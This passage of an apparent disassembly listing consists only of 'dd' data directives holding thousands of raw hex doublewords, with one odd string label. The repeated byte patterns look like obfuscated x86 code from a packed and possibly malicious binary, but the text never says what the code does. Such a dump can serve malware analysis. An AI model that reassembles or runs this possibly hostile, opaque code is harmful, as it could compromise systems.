		dd 17959D89h, 70E6062Ah, 71E45F57h, 14E8h, 9CC11000h, 33EC0439h
		dd 6F6D1505h, 10F976DCh, 943DFD3Bh, 1B531B8h, 5B062A06h
		dd 830F613Ch, 0F1h, 2A7D8D89h, 0B60F062Ah, 0DF8166C8h
		dd 6BA0CF8h, 50000000h,	0E9C18B5Fh, 8, 2DC3B01h, 679304A6h
		dd 0E804E8C1h, 11h, 1B06C538h, 9E67B48Eh, 8B4F912h, 0D0410F4Bh
		dd 10E8ADh, 69770000h, 3316C32Fh, 6617E597h, 55EC2678h
		dd 9D331BB7h, 62A1445h,	0F7665F5Fh, 0BD3350E2h,	62A23BDh
		dd 8AC82B5Fh, 50D18BD8h, 5F43C380h, 7CE9h, 0DABF0F00h
		dd 4858Bh, 0B70F0000h, 7C083DEh, 7E9h, 0F0DDFB00h, 0F2BC1064h
		dd 0E900C083h, 0Ch, 255CDEF0h, 0B67E54B4h, 0B1790802h
		dd 2D858589h, 0D03B062Ah, 0B830Fh, 8D290000h, 62A1879h
		dd 34E9h, 0FF8D8B00h, 0BBFFFFFFh, 23A65214h, 0F01E183h
		dd 2084h, 0AD9D8B00h, 83062A09h, 0FFFFFFA5h, 0DAB3FEFFh
		dd 49589h, 85890000h, 62A3445h,	0E9h, 53B58D00h, 6A062E77h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 8430C352h, 0BE4B4927h, 0B2C380DAh, 6AFB8B66h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0EBE9C982h, 0CF33CE18h, 0D3BB2E6Fh, 89327DBBh
		dd 2A2C458Dh, 3995FF06h, 8B062A34h, 2A09A19Dh, 0C840F06h
		dd 0F000000h, 683h, 0A5958900h,	0B9062A21h, 103Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 9AC35747h, 0A480A937h
		dd 7E8513Bh, 95000000h,	62774E95h, 950110D9h, 62A2509h
		dd 0FCE1835Bh, 13F1BF66h, 6AC02BFCh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 89A2C350h
		dd 2A111DBDh, 89D22B06h, 2A32CD9Dh, 0C233AD06h,	0D003E8D1h
		dd 7504E983h, 8D0B60F4h, 62A1809h, 5850Fh, 18BE0000h, 6134F5FDh
		dd 18619D89h, 880D062Ah, 51000000h, 219D0B5Bh, 8B062A09h
		dd 2A339595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0CE97Ch, 8AED0000h, 0AC8D2CF8h, 19EAC323h
		dd 0B70F2DC5h, 6BBF66DAh, 0F98D8B8Bh, 6A062A0Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 6EC7C351h, 0B927F45Dh, 0A8440C9Eh, 5919F381h, 8D0F4ABBh
		dd 0Eh,	11B58960h, 29062A2Ch, 2A1981B5h, 8B506106h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0BD83FE8Bh, 62A0FA5h
		dd 49840F00h, 0F000000h, 487h, 7FBF6600h, 0B809h, 0BD230000h
		dd 62A17E1h, 4E978D8Dh,	0E1FF062Ah, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 28C35343h, 4961BA91h, 2025BD8Bh
		dd 9D33062Ah, 62A1769h,	6C5BD83h, 0F00062Ah, 3CC84h, 0C5BD8300h
		dd 1062A06h, 3DA840Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 3F8488C3h, 0FD39173Eh
		dd 6C5BD83h, 0F03062Ah,	37586h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 6E1C211Eh
		dd 891370E4h, 2A0F85B5h, 0BD336006h, 62A0791h, 0FD98C66h
		dd 688h, 59B50100h, 80062A08h, 8D0104E1h, 62A2C69h, 840FC90Ah
		dd 0B2h, 8BD8BF0Fh, 2A293985h, 258D8906h, 33062A0Bh, 2A05F985h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0A36CDE00h, 89FD8631h, 2A0F9595h, 59BD3106h
		dd 90062A0Bh, 0F98B6650h, 0BB66505Bh, 6A900BA1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 5C23C357h, 9E9006Ah,	0E5000000h, 333E4396h, 72A8573Fh
		dd 57A1F68h, 0A37BBF12h, 34812980h, 1A79E024h, 159D8B12h
		dd 0FF062A2Dh, 2A2B8195h, 0BE858906h, 80062DB9h, 0E8E9E4D7h
		dd 60000001h, 8BB5F480h, 2A259185h, 858B6106h, 62DB9B6h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 8BC35040h
		dd 9F683B7Dh, 5F53975Fh, 322DB529h, 0C7062Ah, 18h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 14C35646h, 0B8473971h
		dd 3151F268h, 2A084185h, 0BF665F06h, 0B58B4036h, 62DB9BAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0D1C35040h
		dd 0D074B97Dh, 4DD858Bh, 9D8B062Ah, 62A3355h, 6A0689h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 3E587AC3h, 8B72A17Ah, 2A0089BDh, 39858B06h, 66062A29h
		dd 9589F98Bh, 62A0879h,	6A044689h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0AB89C353h
		dd 0B1A24753h, 0F20F540h, 0E8Fh, 0B5296000h, 62A0855h
		dd 689958Bh, 6661062Ah,	6696FA8Bh, 5050FA8Bh, 0BF666052h
		dd 0DC8A4614h, 0E8310F61h, 6, 0C699FB4Eh, 8A0FE1BDh, 0
aZxcj		db '[ZX–j',0
		dw 0E851h
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 80C35141h, 0BF6ED938h
		dd 0B6B5FFB6h, 8B062DB9h, 75BD8BF9h, 68062A05h,	0C60CC21Bh
		dd 0EE9h, 0E451A500h, 37F7625Dh, 314DC37Ch, 8164DE08h
		dd 41E42404h, 85293A12h, 62A1965h, 0B9BE858Dh, 0BD8B062Dh
		dd 62A1929h, 0B9952360h, 0F062A28h, 18Dh, 9061FC00h, 880F52h
		dd 5B000000h, 90FD8A50h, 291DBD8Bh, 95FF062Ah, 62A2B81h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 45C35141h
		dd 0B19D8B79h, 61062A0Fh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0ACC35040h, 0AB1250E9h, 69B529C2h, 0C7062A10h
		dd 2A06C585h, 306h, 0FE900h, 4DA90000h,	57E294AFh, 9EF62DF5h
		dd 83E06193h, 0BEBD83F8h, 62DB9h, 44840Fh, 8B660000h, 57E9D9h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0C7B067C3h, 83BED227h, 800F733Eh,	12h, 0DE9h
		dd 8A7B7F00h, 24F49CA6h, 0B7E2348Ch, 3050414Eh,	4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0A8F0FC0h
		dd 0F000000h, 48Ah, 42BF6600h, 0D59D0B6Ah, 6A062A1Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 43D6C357h, 66FE8B66h, 0B0CCEB81h, 6C5BD83h, 0F03062Ah
		dd 3D985h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0EB50D833h, 0E4BFFE31h, 835BB824h
		dd 2DB9BEBDh, 840F0006h, 3A6h, 0BEB5FFFCh, 6A062DB9h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 89E3C350h, 0FFFCA5D0h, 2A164D95h, 0A19D8B06h, 8B062A29h
		dd 2DB9B2B5h, 0E3D38106h, 605B7F24h, 28559D09h,	0BD2B062Ah
		dd 62A18C9h, 106C761h, 6A000100h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 8FE6C351h
		dd 0D32AC3E3h, 968C5BE5h, 5F97B756h, 0AABB6650h, 8960966Eh
		dd 2A135985h, 0BB61F506h, 4B1F3E9Eh, 0B9BEB5FFh, 6A062Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 70B245C3h, 8D13E011h, 1A3995FFh, 0BD8B062Ah,	62A0629h
		dd 0B9B2B58Bh, 6A062Dh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 5639C3h,	0EB81E2F8h, 301A2B0Bh
		dd 0CB54CB81h, 858B6B81h, 62A12E9h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 72C35747h, 69F25C7Dh, 80163E5Ch
		dd 0DD03BF8Bh, 868902B8h, 0C4h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0F1C35242h,	8B66AC85h, 95958BDFh
		dd 6A062A33h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0F0D6C356h, 0FC527BE7h, 0E8B2B21Fh
		dd 11h,	1C5CA77Ah, 7189829Bh, 0B4829C94h, 5B32B41Bh, 0B5895F63h
		dd 62A0DBDh, 6A04C283h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 294DC352h, 8589478Dh
		dd 62A0E85h, 0A48EC381h, 508903BDh, 8DBD8B20h, 2B062A11h
		dd 2A3261BDh, 2C858D06h, 6A062DCCh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0A8EDC353h
		dd 2E1A1648h, 8689F9E2h, 0B8h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 76C35343h, 561CBB34h, 6A7A58h
		dd 13E9h, 915A3A00h, 7335D7D4h,	6D09455h, 3A316F38h, 57E075D3h
		dd 0B9BEB5FFh, 89F8062Dh, 2A18C995h, 5D95FF06h,	6A062A13h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 635EC350h, 80C02D2h, 0BD013253h, 62A2C31h
		dd 0F525096h, 5AF98B31h, 0BF515058h, 60C0859Fh,	6652965Fh
		dd 0FF5FFE8Bh, 2DB9BEB5h, 6800F06h, 0F000000h, 86h, 995FF00h
		dd 89062A26h, 2A0F2D9Dh, 61BD8306h, 62A1Fh, 31840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0BA725CC3h, 0C0D6F8C4h, 0B7E33DB2h, 719D897Ch, 50062A11h
		dd 0FF243489h, 2DB9BEB5h, 85E38106h, 0FF76E6B7h, 2A1A2995h
		dd 59852906h, 60062A0Eh, 176D9D89h, 9589062Ah, 62A13DDh
		dd 0BEB5FF61h, 80062DB9h, 9D333EE3h, 62A2399h, 0EC595FFh
		dd 6A062Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0AED277C3h, 959D3352h, 5F062A00h,	1F7DBD83h
		dd 0F02062Ah, 4384h, 858BF900h,	62A0F59h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0BAC35545h, 89DA8B66h
		dd 2A24DD9Dh, 0C606h, 1EDD9D89h, 2B60062Ah, 2A2BC9BDh
		dd 39B58B06h, 61062A09h, 93585C7h, 62Ah, 0CE90000h, 6AFFFFF4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 89F5C356h, 2A28318Dh, 0FE806h, 8D500000h
		dd 3BB9AA08h, 0FB78C1D4h, 74AB0C93h, 0F98B666Ah, 8DC18B5Bh
		dd 2A191185h, 28F0F06h,	8A000000h, 0BB6690D8h, 905014E8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 44C35141h
		dd 8C6CA16Ch, 75CC1A9Ch, 10D1BD8Bh, 0D98B062Ah,	0E7BF006Ah
		dd 23603A07h, 2A0931BDh, 60006A06h, 3800Fh, 8B660000h
		dd 850F61F3h, 0Bh, 5880Fh, 14BB0000h, 8D014E4Eh, 2F0CDF85h
		dd 95895306h, 62A1ACDh,	0DBBF0F5Bh, 6A05C083h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 750BC355h, 821620A8h, 0E7011776h, 0FE8B6650h, 6A240489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 6578C357h, 6AFAB70Fh, 25958900h, 6A062A2Dh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 7595FFA6h, 0E9062A12h, 0Eh, 3598261Ch, 14AFCD3Eh
		dd 0F6BCC10h, 8D8D0461h, 62DB966h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0EEC35646h,	53517A4Eh, 0D1FFF88Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0AAC35242h
		dd 19FAB15Ch, 83F93FF5h, 2A3415BDh, 850F0106h, 5Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DDC35747h, 0D4123B4Fh
		dd 8166D31Eh, 6AC7E6CFh, 0DE8B6602h, 5D99BF66h,	0DA8B6650h
		dd 2B240489h, 2A1B21BDh, 5D95FF06h, 6A062A13h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0E9CEC356h, 0E12h, 0E8h, 0ED815D00h,	62F0CE9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 4CC35545h, 0E1BD8B48h
		dd 6A062A05h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h
		dd 45000000h, 46D8C355h, 0E3816D9Fh, 2B55FF57h,	96C4858Dh
		dd 0DB81062Dh, 23B98AFAh, 50DF8B90h, 6A90D88Bh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 1CDDC356h, 8B579A4Ah, 2A07199Dh, 0FF645F06h,	35h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 7B884B33h, 158D895Dh, 0E9062A05h, 14h, 0C52CF095h, 0B3303502h
		dd 0BE9E5B5Fh, 0B5193AB7h, 0A4822CD7h, 258964h,	8B000000h
		dd 2A1ED5BDh, 0B5858906h, 0FF062A09h, 2A14C185h, 6E906h
		dd 8EF10000h, 84C89D32h, 0BD8BFF6Ah, 62A06DDh, 2D0DB5FFh
		dd 0BD8B062Ah, 62A10A5h, 238D95FFh, 8E9062Ah, 89000001h
		dd 2A05C99Dh, 0E900B006h, 0Ah, 0E1577E57h, 3BA54B4Eh, 70E652F0h
		dd 34A19D31h, 71E4062Ah, 1F99BD8Bh, 613C062Ah, 0D9830Fh
		dd 9D8B0000h, 62A0A31h,	0FC8B60Fh, 38Ah, 0D98B6600h, 6BAh
		dd 9E900h, 5B080000h, 54AF8D81h, 8B7F720Bh, 8BF66C1h, 4E8C1C8h
		dd 0C4EB8166h, 0E2F766F1h, 8A59D8Bh, 0C82B062Ah, 61EFB560h
		dd 19A5BD8Bh, 0D18B062Ah, 0E9DFBF0Fh, 87h, 0A3C78166h
		dd 0E78166A4h, 858B3C17h, 5F4C4C44h, 2C0D9D89h,	0C083062Ah
		dd 6E907h, 0E84C0000h, 0CA7BBF89h, 6000C083h, 0BEC6B70Fh
		dd 2429DC0Dh, 0FD03B61h, 1383h,	85895000h, 62A0669h, 41E95Bh
		dd 0BD230000h, 62A1629h, 0FFFF8D8Bh, 0D88BFFFFh, 0F01E183h
		dd 2A84h, 0D1852900h, 83062A24h, 0FFFFFFA5h, 9D8BFEFFh
		dd 62A1825h, 4C449589h,	0B5895F4Ch, 62A1195h, 1BCDBD0Bh
		dd 0E9062Ah, 8D000000h,	2E878DB5h, 0D8B70F06h, 58E0Fh
		dd 81660000h, 6A3386F7h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 95FFC837h, 62A3439h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 1CC35343h, 18057CA1h
		dd 8E9h, 0A934A900h, 0B6D0A4F7h, 10C6B97Ch, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 8D01ACC3h, 62A1B55h,	8BFCE183h, 2A28F59Dh, 6AFC06h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 14460FC3h, 0C02B96F9h, 6820Fh, 0BD8B0000h, 62A22D1h
		dd 575BD09h, 0D22B062Ah, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 0A5C35141h, 0EDBD2989h, 0AD062A2Ah, 0E8D1C233h
		dd 0E983D003h, 0BBF47504h, 6F2CB9D7h, 3FDB8166h, 15850908h
		dd 0E9062A19h, 0Ch, 5C5B1563h, 2F104DF0h, 7A2355C0h, 880Dh
		dd 8E800h, 0C660000h, 0D0A030ACh, 9D8BFF32h, 62A0D61h
		dd 95958B5Bh, 6A062A33h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 8148C356h, 9EBD657Ch
		dd 63BDA868h, 0B99D8B51h, 5B062A0Eh, 21BDB589h,	8D8B062Ah
		dd 62A0BF9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0B3C35040h, 0F5FBF2E6h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 9D8B5818h, 62A32CDh, 14FD9D8Bh, 6A062Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 79BD8EC3h, 0BD8B061Ch, 62A0735h, 10E8h, 73609A00h, 14B8E316h
		dd 9DEE097Bh, 0B6C03AECh, 0A58D316Ch, 5F062A04h, 0FA5BD83h
		dd 0F00062Ah, 5684h, 519D8B00h,	0B8062A2Bh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 4C35242h
		dd 4E978D8Dh, 0CE8062Ah, 16000000h, 8740938Fh, 2822052Eh
		dd 0F0836C5h, 684h, 0D6E38100h,	5F4D2F73h, 5C9BD8Bh, 0E1FF062Ah
		dd 83F98B66h, 2A06C5BDh, 840F0006h, 4B7h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 2BC35747h, 0B5FE6754h
		dd 0EE80D16h, 70000000h, 0BF66644Eh, 813A0F7Eh,	0AC8A597Eh
		dd 0FA8B5616h, 0BD835B5Fh, 62A06C5h, 8B840F01h,	6A000004h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 24C9C352h, 0F3239C83h, 4EA252B9h,	0C65BD89h
		dd 0BD83062Ah, 62A06C5h, 1D860F03h, 66000004h, 253EF81h
		dd 56006A60h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0FE8D04Bh, 75000000h, 13E63261h,	0D449963Bh
		dd 564D06CFh, 816658BCh, 5FED73EBh, 71858960h, 80062A29h
		dd 66615DC2h, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 527AD8C3h, 11F99D8Bh, 8B5B062Ah
		dd 2A1749BDh, 4E18006h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 2EC35141h, 6ACA961Ah,	87ECB80Bh, 6DD9D8Bh
		dd 0C90A062Ah, 171840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0B8C65AC3h, 0E3816661h
		dd 858B04C1h, 62A2939h,	6850F53h, 8B000000h, 2A0D25BDh
		dd 7E95F06h, 6D000000h,	256A44E6h, 8533B8F2h, 62A05F9h
		dd 0B350D88Bh, 240489DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 61C35747h, 767AB50Ah,	8B006A3Fh, 2A1F159Dh
		dd 4E806h, 3FF0000h, 810F001Fh,	2, 0F50FA8Bh, 0A8Ah, 0F88B6000h
		dd 310F5250h, 8B61585Ah, 66042444h, 8BD98Bh, 0AE8h, 779A7000h
		dd 8F0D988Eh, 0F6E0A80h, 685h, 890F00h,	5F000000h, 4244489h
		dd 12840Fh, 0DE90000h, 0FB000000h, 1D3AC373h, 0FD71108Fh
		dd 8F0F12Bh, 53006A58h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 9D2B9F0Bh, 62A2815h, 2B8195FFh, 8166062Ah
		dd 892A7AE3h, 2DB9BE85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0AC96643Eh, 85422482h
		dd 78BF66FFh, 19D290Ah,	0E9062A18h, 1BFh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 47C35141h, 29066372h
		dd 2A27858Dh, 0D5BD8B06h, 8B062A1Ah, 2DB9B685h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 4D8916A9h, 1800C7h, 0BD310000h, 62A2591h, 0B9BAB58Bh
		dd 6A062Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0F77CABC3h, 0BD8905A1h, 62A0C01h,	4DD858Bh
		dd 6A062Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0C362B1C3h, 8908325Bh, 689B69Fh, 9FE8B66h
		dd 2A20A5BDh, 39858B06h, 2B062A29h, 2A10FD9Dh, 4468906h
		dd 5E8h, 0C9A0FF00h, 9D0B6FDFh,	62A1B69h, 0F50965Bh, 0D89h
		dd 8E900h, 709F0000h, 0F71FE784h, 6A96B1CAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 802C350h, 0F8CDB179h, 0FFA413A9h, 2DB9B6B5h,	108B0F06h
		dd 0E9000000h, 0Bh, 0DCE4A58h, 0DCE5FA75h, 68F36104h, 28F25B21h
		dd 0F98B6650h, 2434815Bh, 28ED58DEh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 5FC35747h, 0B70FABF8h, 0B7FBBDEh
		dd 858D531Eh, 62DB9BEh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 2FC35343h, 3ABFC218h,	50F89351h, 9E957h
		dd 3EC0000h, 586F69B7h,	5F2DA69Dh, 66240489h, 8166D88Bh
		dd 0FF5750C3h, 2A2B8195h, 5E906h, 0D5850000h, 6107B027h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0AFC35545h
		dd 191426F0h, 83DF81FFh, 0C753CA02h, 2A06C585h,	306h, 92BF6600h
		dd 0BEBD832Eh, 62DB9h, 2A840Fh,	8D0F0000h, 0
		dd 3AE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0A9AD9C75h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 29C08B00h, 2A0FA98Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0F633C7FCh, 0A2160054h, 63C5BBAAh, 9D0B6AA5h
		dd 62A0CE9h, 6C5BD83h, 0F03062Ah, 42A85h, 19BD0B00h, 89062A0Dh
		dd 2A09C58Dh, 0BEBD8306h, 62DB9h, 411840Fh, 0FE8B0000h
		dd 0B9BEB5FFh, 0BD8B062Dh, 62A0885h, 164D95FFh,	6A062Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 620EBFC3h, 12E9h, 0A56F8C00h, 0FEA14E57h, 4C68524Fh
		dd 4E647691h, 8B134150h, 2DB9B2B5h, 3CC78106h, 0C7147A9Eh
		dd 1000106h, 9E800h, 3E690000h,	424CA399h, 5BCAC71Dh, 66606050h
		dd 0BE66D98Bh, 0B66129E4h, 348961B9h, 51006A24h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 6892DE0Eh, 0B5FFB88Ch, 62DB9BEh, 0FFB9EF80h,	2A1A3995h
		dd 39E38006h, 0B9B2B58Bh, 6A062Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 251023C3h, 8D9D2960h
		dd 8B062A0Fh, 2A12E985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 893A8D9Ah, 2A0535BDh
		dd 35BD8906h, 89062A00h, 0C486h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0AFBB7B7Eh
		dd 41AECAF2h, 14E8h, 23220E00h,	4246C19h, 74B6D8E9h, 0AF535337h
		dd 8AA5B87Ah, 0F5C38020h, 95958B5Fh, 80062A33h,	0C283DADBh
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 9D07D9Eh, 8936B865h, 6A2050h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0A394FEC3h
		dd 0AC0BDE99h, 0AE8h, 0E28FFF00h, 7474FD90h, 66613F2Dh
		dd 5136F381h, 2C858D5Fh, 31062DCCh, 2A0741BDh, 0B8868906h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8B8FC357h, 2A3579BDh, 89006A06h
		dd 2A18D985h, 0BEB5FF06h, 0FF062DB9h, 2A135D95h, 6820F06h
		dd 29000000h, 2A152995h, 0BB665006h, 34899DD9h,	52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0EF818B01h, 7D44EC26h, 0B9BEB5FFh, 0FE9062Dh, 0D5000000h
		dd 0E7EB0E66h, 0AA05E64Ch, 0DFBB4B74h, 95FF1321h, 62A2609h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 42C35646h
		dd 5BFA8BCDh, 0BD83F88Bh, 62A1F61h, 66840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0E849C357h, 0D810F7Ch, 0E9000000h, 8, 67A6B74Ah
		dd 56EE2050h, 24348950h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0A1C35343h, 270C4F58h, 0AE9A181h, 0AC000000h
		dd 0D613734Bh, 0C979B0F9h, 0BEB5FFF6h, 66062DB9h, 0F05ACF81h
		dd 1A2995FFh, 6A062Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 66854FC3h, 8D89FA8Bh, 62A1309h
		dd 0B9BEB5FFh, 6A062Dh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0E8D690C3h, 83C27463h, 0F50FFCE2h
		dd 0EC595FFh, 6A062Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0F25C7DC3h, 163E5C69h, 0C1EF8166h
		dd 5BD78165h, 833E405Fh, 2A1F7DBDh, 840F0206h, 4Fh, 37827ABFh
		dd 59858B21h, 53062A0Fh, 6820Fh, 9D010000h, 62A08C1h, 0C65Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0A2C35141h
		dd 679504D0h, 49DD0A99h, 9800Fh, 66600000h, 25DED881h
		dd 0C761F38Ah, 2A093585h, 6, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 30515947h
		dd 0BC86BE5Fh, 91BD8B68h, 0E9062A26h, 0FFFFF314h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C3C35343h, 8A5BBB87h
		dd 0A202C086h, 840FC18Bh, 2, 858DF1B3h,	62A1911h, 4302F6BBh
		dd 6E99043h, 9000000h, 708398B4h, 8E95078h, 9A000000h
		dd 40D14718h, 903FF4D5h, 9E9h, 2D1D6000h, 1BB17F4Eh, 6A2C93h
		dd 0E659D8Bh, 6A062Ah, 1195BD8Bh, 858D062Ah, 62F1C46h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 8DC35242h
